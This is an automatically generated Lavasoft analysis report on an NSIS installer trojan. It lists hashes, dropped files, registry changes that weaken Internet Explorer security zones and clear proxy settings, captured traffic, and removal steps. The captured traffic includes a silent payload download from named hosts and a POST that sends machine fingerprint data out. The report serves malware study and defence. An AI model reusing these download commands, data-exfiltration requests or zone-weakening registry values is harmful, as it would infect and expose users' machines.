Trojan.NSIS.StartPage_bd2dd4692a

by malwarelabrobot on February 26th, 2016 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.NSIS.StartPage.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: bd2dd4692a50dd807a51865b10eb5730
SHA1: 0d6882b1de1b0be220cb2008b9919c6352a040ff
SHA256: cee6ad6e435e66c685bf91b12939e31db290dc851b2d67d39e61c99897e02f4a
SSDeep: 196608:WxPGdWOLXrBX8Q8qC2sStCpuZIdAKC1gtM:WYkOrN8PH 4YC1N
Size: 7145592 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2013-12-25 07:01:41
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

wmic.exe:244

The Trojan injects its code into the following process(es):

%original file name%.exe:580

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutex
ZonesCounterMutex
ZonesCacheCounterMutex
RasPbFile
WininetProxyRegistryMutex
WininetConnectionMutex
WininetStartupMutex
c:!documents and settings!adm!local settings!history!history.ie5!
c:!documents and settings!adm!cookies!
c:!documents and settings!adm!local settings!temporary internet files!content.ie5!
_!MSFTHISTORY!_
ShimCacheMutex

File activity

The process wmic.exe:244 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

The process %original file name%.exe:580 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (125481 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw4.tmp (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\Banner.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\xml.dll (3745 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\modern-wizard.bmp (26 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsis142.xml (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\BiTool[1].dll (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsischeck654.xml (12867 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bitool.xxx (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\Math.dll (2487 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsv1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp (0 bytes)

Registry activity

The process wmic.exe:244 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2B 76 9F A1 4F 9F 57 B0 BB AF 2F 16 BC D6 A5 66"

The process %original file name%.exe:580 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C2 8D 02 2D 9A 6D A2 BA 20 DC E8 22 9C 67 1B 5A"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
c0157ad57d34d1d608adea523b228266 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bitool.dll
aea3ac67fa68fd3f00edfbf9b43a2770 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\Banner.dll
502c878b0897ff8ade2a3c221609f19a c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\Math.dll
960a5c48e25cf2bca332e74e11d825c9 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\System.dll
e541458cfe66ef95ffbea40eaaa07289 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\inetc.dll
0745ff646f5af1f1cdd784c06f40fce9 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\md5dll.dll
8ced0b79f7b9033d0795aab3be6d627c c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\nsDialogs.dll
42df1fbaa87567adf2b4050805a1a545 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\xml.dll
aade106f4a362f12ad261322dc12c1f8 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw4.tmp
aade106f4a362f12ad261322dc12c1f8 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe
c0157ad57d34d1d608adea523b228266 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\BiTool[1].dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 24034 24064 4.51131 fd3ab368f49da01980e9d668a7a89149
.rdata 28672 4826 5120 3.5354 bed60c9116dbff6d06b51530a732c0c9
.data 36864 152728 1024 3.4949 8a4f4a368d44406a0e69356a5c4843c6
.ndata 192512 143360 0 0 d41d8cd98f00b204e9800998ecf8427e
.rsrc 335872 58520 58880 5.32873 a65bdce07219dac9e9a57d048ed6a5fe

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://d27foqb3kkzkt9.cloudfront.net/sdk/binsis/2.2/BiTool.dll 54.192.95.236
hxxp://d3oxtn1x3b8d7i.cloudfront.net/binsis/get_pre_offering_checks?uid=39493EE0240D42C58CAAE7D9BD853D3D&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=scarpphotoeditor&sid=scrapphotoeditor&s=0 54.192.95.217
hxxp://d3oxtn1x3b8d7i.cloudfront.net/binsis/xml?uid=39493EE0240D42C58CAAE7D9BD853D3D&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=scarpphotoeditor&sid=scrapphotoeditor&s=0 54.192.95.217
hxxp://d1r531x3ryfc51.cloudfront.net/installers/bi_downloader/1456416195808/setup.exe
hxxp://sub.spirlymo.com/installers/bi_downloader/1456416195808/setup.exe 54.192.95.187


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers

Traffic

GET /installers/bi_downloader/1456416195808/setup.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: sub.spirlymo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 430904
Connection: keep-alive
Server: nginx
Date: Thu, 25 Feb 2016 16:04:06 GMT
Last-Modified: Thu, 25 Feb 2016 16:03:17 GMT
ETag: "56cf25c5-69338"
Expires: Thu, 25 Feb 2016 16:14:06 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 199
X-Cache: Hit from cloudfront
Via: 1.1 73a3bce79e63d88b3a25c9ced0be16f5.cloudfront.net (CloudFront)
X-Amz-Cf-Id: eXv8jaQIwAFAWOLi6C-rUSNjgoyGAuVqr36fhNY1QMwSmGIbHSUjTA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................0...............................................s.
.........pD..........X................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...pD.......F...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /sdk/binsis/2.2/BiTool.dll HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: d27foqb3kkzkt9.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 59904
Connection: keep-alive
Server: nginx
Date: Wed, 27 Jan 2016 07:25:36 GMT
Last-Modified: Tue, 15 Oct 2013 19:55:30 GMT
ETag: "525d9db2-ea00"
Expires: Wed, 27 Jan 2016 07:35:36 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 191
X-Cache: Hit from cloudfront
Via: 1.1 49d660b73464b392cd621b72767bd66a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: N143gE80vnYl4cXDA_MLHLbX2xIiQXTXWXmFEXd021jQy2WU4bR7dw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......I}.I..h...h.
..h..S....h..d....h..d....h..d....h..d....h...i.W.h..d....h..d....h..d
....h.Rich..h.................PE..L.....]R...........!.........,......
e........................................ ......9.....@...............
......................................................0...............
....................`[email protected]
ext..._........................... ..`.rdata..5.......................
....@[email protected][email protected].................
..............@[email protected][email protected]............
......................................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.M..E..M....E...].....
......U..Q.M..E.....].U..Q.M...]......U..Q.M..E........E...]..........
U..Q.M..E..M.......]............U......M..E..8.t..M.........E....E....
..E...]...U..Q.M..E..M...3.;......].......U..Q.M..E.3..8........].....
....U..Q.M..E.P.M........M........E...].............U..Q.M..E........M
.........]....U..Q.M..M.......E....t..M.Q.Z.......E...].......U...E.].
........U..j.h....d.....PQ.....3.P.E.d......M..M........E......E......
..M.Q.M...........E......E..M.d......Y..].........U..Q.M..E.......
<<< skipped >>>


GET /binsis/get_pre_offering_checks?uid=39493EE0240D42C58CAAE7D9BD853D3D&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=scarpphotoeditor&sid=scrapphotoeditor&s=0 HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: d3oxtn1x3b8d7i.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Thu, 25 Feb 2016 16:38:46 GMT
Expires: Thu, 25 Feb 2016 13:52:06 GMT
Cache-Control: no-cache
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 8ff9b0151b7c5246d93b7f7c2c33d122.cloudfront.net (CloudFront)
X-Amz-Cf-Id: n7feqN1qDz7W9gseg-6FvVgGKFI4MOJljpszkJ_ix4fBetI0EMOWww==
31f8..<?xml version="1.0"?>.<pre_offering_checks><check
 type="registry" return_name="check_4" return_value_type="boolean">
<value_to_check><key>HKCU\Software\Somoto\SDP</key>&
lt;name>uid</name></value_to_check></check><ch
eck type="registry" return_name="check_2182" return_value_type="boolea
n"><value_to_check><key>HKLM\SOFTWARE\Goobzo\YouTube Ac
celerator</key><name>version</name></value_to_che
ck></check><check type="registry" return_name="check_2246"
 return_value_type="boolean"><value_to_check><key>HKLM\
SOFTWARE\YTDownloader</key><name>version</name></
value_to_check></check><check type="registry" return_name=
"check_2450" return_value_type="boolean"><value_to_check><
key>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Hotspo
tShield</key><name>DisplayName</name></value_to_c
heck></check><check type="registry" return_name="check_385
0" return_value_type="boolean"><value_to_check><key>HKL
M\SOFTWARE\YTDownloader</key><name>version</name><
;/value_to_check></check><check type="registry" return_nam
e="check_3360" return_value_type="boolean"><value_to_check>&l
t;key>HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\geni
eo</key><name>UninstallString</name></value_to_ch
eck></check><check type="registry" return_name="check_
<<< skipped >>>

POST /binsis/xml?uid=39493EE0240D42C58CAAE7D9BD853D3D&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=scarpphotoeditor&sid=scrapphotoeditor&s=0 HTTP/1.1


Content-Type: application/x-www-form-urlencoded
Filename: nsp3.tmp
User-Agent: NSIS_Inetc (Mozilla)
Host: d3oxtn1x3b8d7i.cloudfront.net
Content-Length: 10378
Connection: Keep-Alive
Cache-Control: no-cache

installer_data={"uid":"39493EE0240D42C58CAAE7D9BD853D3D","muid":"9e10bdd7664ab688d1d7f2ab0b148110","affid":"scarpphotoeditor","sid":"scrapphotoeditor","installerVersion":"2.2.2","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512","ff_installed":"0","ff_version":"","ff_default_homepage":"not_found","ff_is_default":"0","ie_installed":"1","ie_version":"6.0.2900.5512","ie_default_homepage":"about:blank","ie_is_default":"1","chrome_installed":"0","chrome_version":"","chrome_default_homepage":"not_found","chrome_is_default":"0","opera_installed":"0","opera_version":"","opera_default_homepage":"not_found","opera_is_default":"0","safari_installed":"0","safari_version":"","safari_default_homepage":"not_found","safari_is_default":"0","check_4":"false","check_2182":"false","check_2246":"false","check_2450":"false","check_3850":"false","check_3360":"false","check_2832":"false","check_3892":"false","check_4742":"false","check_5086":"false","check_5096":"false","check_5166":"false","check_1592
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Thu, 25 Feb 2016 16:38:53 GMT
Vary: Accept-Encoding
Expires: Thu, 25 Feb 2016 13:52:13 GMT
Cache-Control: no-cache
X-Cache: Miss from cloudfront
Via: 1.1 8ff9b0151b7c5246d93b7f7c2c33d122.cloudfront.net (CloudFront)
X-Amz-Cf-Id: oDutlF8YVwskXMP5PWOCw7ZmYiSKnfflrkIb0LTgnUa2cujMycGIyQ==
184..<?xml version="1.0" encoding="windows-1252"?>.<sponsored
_data><downloader><url>hXXp://sub.spirlymo.com/installe
rs/bi_downloader/1456416195808/setup.exe</url><downloadOnInit
>1</downloadOnInit><args>/silent /initurl hXXp://sub.yo
rkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%Softwa
reID%" -affid="¯filiateID%" -muid="%MUID%"</args></download
er><offers/></sponsored_data>...0..HTTP/1.1 200 OK..Con
tent-Type: text/xml; charset=utf-8..Transfer-Encoding: chunked..Connec
tion: keep-alive..Server: nginx..Date: Thu, 25 Feb 2016 16:38:53 GMT..
Vary: Accept-Encoding..Expires: Thu, 25 Feb 2016 13:52:13 GMT..Cache-C
ontrol: no-cache..X-Cache: Miss from cloudfront..Via: 1.1 8ff9b0151b7c
5246d93b7f7c2c33d122.cloudfront.net (CloudFront)..X-Amz-Cf-Id: oDutlF8
YVwskXMP5PWOCw7ZmYiSKnfflrkIb0LTgnUa2cujMycGIyQ==..184..<?xml versi
on="1.0" encoding="windows-1252"?>.<sponsored_data><downlo
ader><url>hXXp://sub.spirlymo.com/installers/bi_downloader/14
56416195808/setup.exe</url><downloadOnInit>1</downloadO
nInit><args>/silent /initurl hXXp://sub.yorkshatb.com/downloa
der/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯f
iliateID%" -muid="%MUID%"</args></downloader><offers/&g
t;</sponsored_data>...0..
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_580:

.text
`.rdata
@.data
.ndata
.rsrc
uDSSh
.DEFAULT\Control Panel\International
Software\Microsoft\Windows\CurrentVersion
GetWindowsDirectoryA
KERNEL32.dll
ExitWindowsEx
USER32.dll
GDI32.dll
SHFileOperationA
ShellExecuteA
SHELL32.dll
RegEnumKeyA
RegCreateKeyExA
RegCloseKey
RegDeleteKeyA
RegOpenKeyExA
ADVAPI32.dll
COMCTL32.dll
ole32.dll
VERSION.dll
verifying installer: %d%%
hXXp://nsis.sf.net/NSIS_Error
... %d%%
~nsu.tmp
%u.%u%s%s
RegDeleteKeyExA
%s=%s
*?|<>/":
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl2.tmp\nsDialogs.dll
all\eScan Anti-Virus (AV) Edition for Windows_is1
"installerVersion":"2.2.2","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512"
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl2.tmp\nsDialogs.dll
rosoft/Windows/CurrentVersion/Uninstall/Kaspersky"
or","sid":"scrapphotoeditor","installerVersion":"2.2.2","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512"
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl2.tmp
on Data\Opera\Opera\operaprefs.ini
@.reloc
GetProcessHeap
comdlg32.dll
nsDialogs.dll
All Files|*.*
xml.dll
.?AVexecution_error@TinyXPath@@
Assertion failed: %s, file %s, line %d
zcÁ
0&171?1}1
6 6064686@6
/%s%s
/%s[%d]%s
c:\a\vc\nsis\xmldll\source\tinystr.h
&#xX;
tinyxml.cpp
<!--%s-->
</%s>
%s='%s'
%s="%s"
<![CDATA[%s]]>
standalone="%s"
encoding="%s"
version="%s"
sentinel.prev == &sentinel
sentinel.next == &sentinel
cursor.col >= -1
cursor.row >= -1
tinyxmlparser.cpp
strlen( entity[i].str ) == entity[i].strLength
c:\a\vc\nsis\xmldll\source\tinyxml.h
action_store.cpp
c:\a\vc\nsis\xmldll\source\node_set.h
c:\a\vc\nsis\xmldll\source\tokenlist.h
xml_util.cpp
xpath_processor.cpp
axis is a keyword
mscoree.dll
GetProcessWindowStation
user32.dll
- This application cannot run using the active version of the Microsoft .NET Runtime
Please contact the application's support team for more information.
internal state. The program cannot safely continue execution and must
continue execution and must now be terminated.
GetCPInfo
pP)N.jp
\I@ÀH<
@%Ub_
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp
nsp3.tmp
turl hXXp://sub.yorkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯filiateID%" -muid="%MUID%"
rentVersion\Uninstall\eScan Anti-Virus (AV) Edition for Windows_is1
EEE69B8-2C42-4825-B8E6-9597957D672B}
efs.js
elerated AMD PCNet Adapter - Packet Scheduler Miniport
on\Uninstall\eScan Anti-Virus (AV) Edition for Windows_is1
Microsoft/Windows/CurrentVersion/Uninstall/Kaspersky"
Uninstall\eScan Anti-Virus (AV) Edition for Windows_is1
Version\Uninstall\eScan Anti-Virus (AV) Edition for Windows_is1
3791984
c:\%original file name%.exe
%Program Files%\Kea Sigma Delta\SCRAP Photo Editor
%original file name%.exe
CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv1.tmp
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\
973734970
1310970
1048906
1114390
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw4.tmp
/silent /initurl hXXp://sub.yorkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯filiateID%" -muid="%MUID%"
hXXp://sub.spirlymo.com/installers/bi_downloader/1456416195808/setup.exe
1114358
1704228
-1408957188
-536214212
-2063532032
-2147284440
G05X/d'.uE
.Fbb[|HS
#jZj.uw
[[2 [146[<40[}1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v3.0a2</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/></application></compatibility></assembly>
!"#$%&'()* ,-./012345

%original file name%.exe_580_rwx_10004000_00001000:

callback%d


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    wmic.exe:244

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (125481 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsw4.tmp (28320 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe (28320 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\Banner.dll (4 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\xml.dll (3745 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\modern-wizard.bmp (26 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\inetc.dll (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\nsDialogs.dll (9 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\binsis142.xml (388 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\md5dll.dll (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\BiTool[1].dll (4152 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\binsischeck654.xml (12867 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\bitool.xxx (4152 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\Math.dll (2487 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  5. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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